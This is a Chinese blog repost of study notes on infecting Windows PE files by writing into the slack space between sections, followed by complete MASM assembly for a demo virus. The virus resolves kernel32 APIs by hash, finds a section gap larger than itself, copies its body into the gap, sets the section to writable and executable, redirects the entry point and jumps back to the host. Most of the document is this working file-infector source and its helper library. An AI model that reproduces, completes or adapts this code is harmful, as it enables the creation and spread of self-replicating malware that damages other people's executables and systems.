首页 > 代码库 > 搜寻节空隙感染学习笔记

搜寻节空隙感染学习笔记

原文:http://www.pediy.com/kssd/index.html -- 病毒技术 -- 病毒知识 -- Anti Virus专题

 

那么搜寻节空隙感染,最重要的就是找到我们节中存在的空隙。一般在病毒技术中,有两种方法。 

 

  1. 循环读取节表,然后分别在每个节中搜寻00机器码(因为默认编译器是用00机器码填充的),如果此00机器码区域的大小大于病毒的体积。则取这段区域的偏移。
  2. 循环读取节表,通过节表结构中的物理文件大小 - 节映射大小 取得 节后面的物理空隙,然后判断此段空隙大小是否大于我们病毒体积,如果大于的话,则取这段区域的偏移。

  另外还有将我们病毒分段插入,这需要依靠我们的反汇编引擎,将病毒代码拆解成多个过程,然后分别插入,最后将这些过程连接起来,同样这样也有很多弊端,所以很多时候这不能使我们产生动力...。

  我们今天的代码使用的是第二种方法,因为第一种方法的弊端太多,例如如果被感染文件的空隙不是00机器码填充的等。为了稳定性还是选择第二种方法,虽然它的限制会比较多。实际上CIH利用的也是我们今天的第二种方法。

 

代码:

 

技术分享
; 链接选项加入/SECTION:.text|RWE  02.    .386  03.    .model flat, stdcall  04.    option casemap:none  05.      06.include windows.inc  07.  08.    .code  09.      10.VirusEntry:  11.    pushad  12.    call Dels  13.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>     14.Table:  15.       dd  038C62A7Ah  16.       _CreateFile  dd  0  17.           dd  09554EFE7h  18.       _GetFileSize  dd  0  19.           dd  00BE25545h  20.       _ReadFile  dd  0  21.           dd  0A9D1FD70h  22.       _SetFilePointer  dd  0  23.           dd  0C0D6D616h  24.       _CloseHandle  dd  0  25.           dd  0C2F6D009h  26.       _GlobalAlloc  dd  0  27.           dd  0585ED3CFh  28.       _GlobalFree  dd  0  29.           dd  058D8C545h  30.       _WriteFile  dd  0  31.           dd  0A412FD89h  32.       _LoadLibrary  dd  0  33.           dd  014D14C51h  34.       _MessageBox  dd  0   35.       dd 0  36.       szCaption    db Virus Dream - Demo, 0  37.       szText       db Oh Yeah of Virus Dream, 0  38.       szFileName   db test.exe, 0  39.       nWriteByteNum    dd 0  40.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  41.Dels:  42.    pop ebp  43.    call GetKernel32  44.      45.    mov edi, ebp            ; edi = pHashStringList = Table  46.    call GetFuncAddress  47.      48.    push 23  49.    push resu  50.    push esp            ; lpFileName = user32  51.    call dword ptr [ebp + (_LoadLibrary - Table)]  52.    pop edx  53.    pop edx             ; 弹出‘user32‘  54.      55.    mov edi, ebp  56.    call GetFuncAddress  57.      58.    cmp ebp, Dels - (Dels - Table)  59.    je Inject           ; 如果等于说明不再宿主程序中  60.      61.    push 0  62.    lea edx, [ebp + (szCaption - Table)]  63.    push edx  64.    lea edx, [ebp + (szText - Table)]  65.    push edx  66.    push 0  67.    call dword ptr [ebp + (_MessageBox - Table)]  68.      69.    lea eax, [ebp + (szFileName - Table)]  70.    push eax  71.    call InjectFile  72.    popad  73.    jmp JmpHost  74.      75.Inject:  76.    lea eax, [ebp + (szFileName - Table)]  77.    push eax  78.    call InjectFile  79.  80.    popad  81.    ret  82.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>     83.; 感染文件  84.; Arguments:  85.;   [esp + 4 * 8 + 4]       - lpFileName  86.; Return Value:  87.;   Nothing  88.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  89.InjectFile:  90.    pushad  91.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  92.; 注册一个SEH, 一般流程如下:  93.; push Handle  94.; push fs:[0]  95.; mov fs:[0], esp  96.; _ _ _ _ _ _ _ _  97.; | Prev    |   <-- esp - 8 ; push edx  98.; | SEH Handle  |   <-- esp - 4 ; call _@@  99.; | pushad  |   <-- esp  100.; | 返回地址    |  101.; | 参数  |  102.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  103.    lea edx, [esp - 8]  104.    call _@@                ; 入栈下一条指令地址, 相当于push Handle  105.    mov esp, [esp + 2 * 4]          ; esp指向异常回调函数的第二个参数  106.    jmp _Result  107.      108._@@:  109.    sub eax, eax  110.    assume fs:nothing  111.    xchg edx, fs:[eax]          ; 相当于mov fs:[0], esp  112.    push edx                ; 相当于push fs:[0]  113.      114.    mov edx, [esp + 4 * 8 + 4 + 4 * 2]  ; edx = lpFileName  115.    push eax  116.    push eax  117.    push OPEN_EXISTING  118.    push eax  119.    push FILE_SHARE_WRITE  120.    push GENERIC_READ or GENERIC_WRITE  121.    push edx  122.    call dword ptr [ebp + (_CreateFile - Table)]  123.    cmp eax, INVALID_HANDLE_VALUE  124.    je _Result  125.    xchg eax, ebx               ; ebx = FileHandle  126.      127.    push 0  128.    push ebx  129.    call dword ptr [ebp + (_GetFileSize - Table)]  130.    push eax                ; [esp] = File Size  131.      132.    push eax  133.    push GMEM_ZEROINIT  134.    call dword ptr [ebp + (_GlobalAlloc - Table)]  135.    xchg eax, edi               ; edi = lpMemory  136.      137.    push 0                  ; 空出一个空间供下面输出参数使用  138.    push esp  139.    push dword ptr [esp + 4 * 2]        ; File Size  140.    push edi                ; 将文件数据读取到edi  141.    push ebx  142.    call dword ptr [ebp + (_ReadFile - Table)]  143.    pop [ebp + (nWriteByteNum - Table)]  144.      145.    push edi  146.    call IsPe  147.    jnc _Free  148.      149.    push edi  150.    call GetSectionTable  151.    xchg eax, esi               ; esi = Section Table offset  152.      153.    push edi  154.    call GetSectionNum          ; ecx = Section Num  155.    jecxz _Free             ; 如果ecx等于0跳  156.      157._LoopScas:  158.    mov edx, [esi + 10h]            ; esi + 10h = SizeOfRawData  159.    sub edx, [esi + 08h]            ; esi + 08h = VirtualSize  160.    cmp edx, VirusLen  161.    jg _MoveVirus               ; 如果空隙大于病毒长度跳  162.    add esi, 28h                ; esi指向下一个节表  163.    loop _LoopScas  164.    jmp _Free  165.      166._MoveVirus:  167.    push edi                ; edi = lpMemory  168.    call GetEntryPointVa  169.    mov [ebp + (JmpHost - Table) + 1], eax  ; 将JmpHost处jmp的操作数修改为OEP  170.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  171.; 设置新入口点RVA  172.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  173.    mov edx, [esi + 08h]            ; edx = VirtualSize  174.    add edx, [esi + 0ch]            ; edx = 节结尾RVA, 也即Virus开始RVA  175.    mov eax, edi                ; edi = lpMemory  176.    add eax, [edi + 3ch]            ; eax = PE Header  177.    mov [eax + 28h], edx            ; 修改入口点  178.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  179.; 设置节标志  180.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  181.    or dword ptr [esi + 24h], 0E0000020h  182.      183.    mov edx, [esi + 08h]  184.    add edx, [esi + 14h]            ; edx = 节结尾文件偏移,也即virus开始文件偏移  185.    add edx, edi                ; edx指向lpMemory中节结尾  186.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  187.; 移动病毒数据  188.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  189.    pushad  190.    lea esi, [ebp - 6]          ; esi = VirusEntry  191.    mov ecx, VirusLen  192.    mov edi, edx  193.    cld  194.    rep movsb               ; 移动病毒数据  195.    popad  196.      197.    push FILE_BEGIN  198.    push 0  199.    push 0  200.    push ebx  201.    call dword ptr [ebp + (_SetFilePointer - Table)]    ; 将文件指针定位到开始处  202.      203.    push 0  204.    push esp  205.    push [ebp + (nWriteByteNum - Table)]  206.    push edi  207.    push ebx  208.    call dword ptr [ebp + (_WriteFile - Table)]     ; 将数据写回文件  209.      210._Free:  211.    push ebx  212.    call dword ptr [ebp + (_CloseHandle - Table)]  213.    push edi  214.    call dword ptr [ebp + (_GlobalFree - Table)]  215.      216._Result:  217.    sub eax, eax  218.    pop dword ptr fs:[eax]  219.    pop edx  220.    popad  221.    ret 4 * 1  222.      223.JmpHost:  224.    push $  225.    ret  226.      227.include VirusLib.asm  228.VirusLen = $ - VirusEntry  229.  230.    end VirusEntry  
View Code

上面代码中include了VirusLib.asm文件,里面包含了一些病毒中常用函数:

 

技术分享
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  02.; 测试是否是PE文件  03.; Arguments:  04.;   [esp]       - return address  05.;   [esp + 4]   - lpMemory  06.; Return Value:  07.;   CF      - 1  08.;   CF      - 0  09.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  10.IsPe:  11.    mov edx, [esp + 4]  12.    cmp word ptr [edx], ZM  13.    jnz _IP_RetFails  14.    add edx, [edx + 3ch]  15.    cmp word ptr [edx], EP  16.    jnz _IP_RetFails  17.      18._IP_RetTure:  19.    stc         ; CF = 1  20.    ret 4 * 1  21.      22._IP_RetFails:  23.    clc         ; CF = 0  24.    ret 4 * 1  25.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  26.; 获取节表  27.; Arguments:  28.;   [esp]       - return address  29.;   [esp + 4]   - pMemory  30.; Return Value:  31.;   eax         - Physical offset  32.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  33.GetSectionTable:  34.    mov eax, [esp + 4]  35.    add eax, dword ptr [eax + 3ch]  ; eax -> PE Header  36.    movzx edx, word ptr [eax + 14h] ; edx = IMAGE_OPTIONAL_HEADER长度  37.    lea eax, [eax + edx + 4 * 6]    ; 4 * 6为IMAGE_FILE_HEADER和Signature长度  38.    ret 4 * 1  39.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  40.; 获取OEP VA Address  41.; Arguments:  42.;   [esp]       - return address  43.;   [esp + 4]   - pMemory  44.; Return Value:  45.;   eax     - OEP VA Address  46.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  47.GetEntryPointVa:  48.    mov eax, [esp + 4]  49.    add eax, dword ptr [eax + 3ch]  ; eax -> PE Header  50.    mov edx, dword ptr [eax + 28h]  ; edx = IMAGE_OPTIONAL_HEADER.AddressOfEntryPoint  51.    add edx, dword ptr [eax + 34h]  ; edx += IMAGE_OPTIONAL_HEADER.ImageBase  52.    xchg eax, edx  53.    ret 4 * 1  54.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  55.; 获取节表数量  56.; Arguments:  57.;   [esp]       - return address  58.;   [esp - 4]   - pMemory  59.; Return Value:  60.;   ecx     - Section Number  61.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  62.GetSectionNum:  63.    mov eax, [esp + 4]  64.    add eax, [eax + 3ch]            ; eax -> PE Header  65.    movzx ecx, word ptr [eax + 06h]     ; ecx = IMAGE_FILE_HEADER.NumberOfSection  66.    ret 4 * 1  67.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  68.; 获取kernel32基地址  69.; Arguments:  70.;   [esp]       - return address  71.; Return Value:  72.;   eax     - kernel32 base address  73.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  74.GetKernel32:  75.    push dword ptr 006ch  76.    push dword ptr 006c0064h  77.    push dword ptr 002e0032h  78.    push dword ptr 0033006ch  79.    push dword ptr 0065006eh  80.    push dword ptr 00720065h  81.    push word ptr 006bh  82.    mov ebx, esp  83.    assume fs:nothing  84.    mov eax, fs:[30h]  85.    mov eax, [eax + 0ch]  86.    mov eax, [eax + 1ch]  87.      88._Search:  89.    or eax, eax  90.    jz _NotFound  91.    inc eax  92.    jz _NotFound  93.    dec eax  94.    mov ecx, dword ptr 13       ; ecx = 比较长度  95.    lea esi, [eax + 1ch]      96.    mov esi, [esi + 4]      ; esi = UNICODE_STR.Buffer  97.    mov edi, ebx  98.    repz cmpsw  99.    or ecx, ecx  100.    jz _Found  101.    mov eax, [eax]  102.    jmp _Search  103.      104._NotFound:  105.    or eax, 0ffffffffh  106.    jmp _Over  107.      108._Found:  109.    mov eax, [eax + 08h]  110.      111._Over:  112.    add esp, 26  113.    ret  114.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  115.; 获取Hash API地址  116.; Arguments:  117.;   [esp]       - return address  118.;   eax     - hModule  119.;   edi     - pHashStringList  120.; Return Value:  121.;   Nothing  122.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  123.GetFuncAddress:  124.    pushad  125.    xchg eax, ebx           ; ebx = hModule  126.    mov eax, [ebx + 3ch]  127.    mov esi, [eax + ebx + 78h]  ; Get Export  128.    lea esi, [esi + ebx + 18h]  ; esi -> NumberOfNames  129.      130.    cld  131.    lodsd  132.    xchg eax, ecx           ; ecx = NumberOfNames  133.    lodsd  134.    push eax            ; [esp] = AddressOfFunctions  135.    lodsd  136.    add eax, ebx  137.    xchg eax, edx           ; edx = AddressOfNames  138.    lodsd  139.    add eax, ebx  140.    xchg eax, ebp           ; ebp = AddressOfNameOrdinals  141.    xchg esi, edx           ; esi = AddressOfNames  142.      143._NextFunc:  144.    push edi  145.    lodsd  146.    add eax, ebx            ; eax = API 函数名字符串  147.    xor edx, edx  148.  149._CalcHash:  150.    rol edx, 3  151.    xor dl, byte ptr [eax]  152.    inc eax  153.    cmp byte ptr [eax], 0  154.    jnz _CalcHash  155.      156._ScanDwFunc:  157.    cmp [edi], edx  158.    jnz _SkipFunction  159.    movzx eax, word ptr [ebp]   ; 取出对应索引  160.    shl eax, 2  161.    add eax, [esp + 4]      ; 索引乘以4后加到AddressOfFunctions  162.    mov eax, [eax + ebx]        ; 取出API RVA  163.    add eax, ebx            ; eax = API address  164.    scasd               ; 跳过hash  165.    stosd               ; 保存  166.    jmp _Ret  167.      168._SkipFunction:  169.    scasd  170.    scasd               ; 跳过hash和保存API地址的地方指向下一个hash  171.    cmp dword ptr [edi], 0  172.    jnz _ScanDwFunc  173.      174._Ret:  175.    pop edi  176.    add ebp, 2          ; ebp指向下一个索引,和AddressOfNames对应  177.    loop _NextFunc  178.      179.    pop ecx  180.    popad  181.    ret  
View Code

 

搜寻节空隙感染学习笔记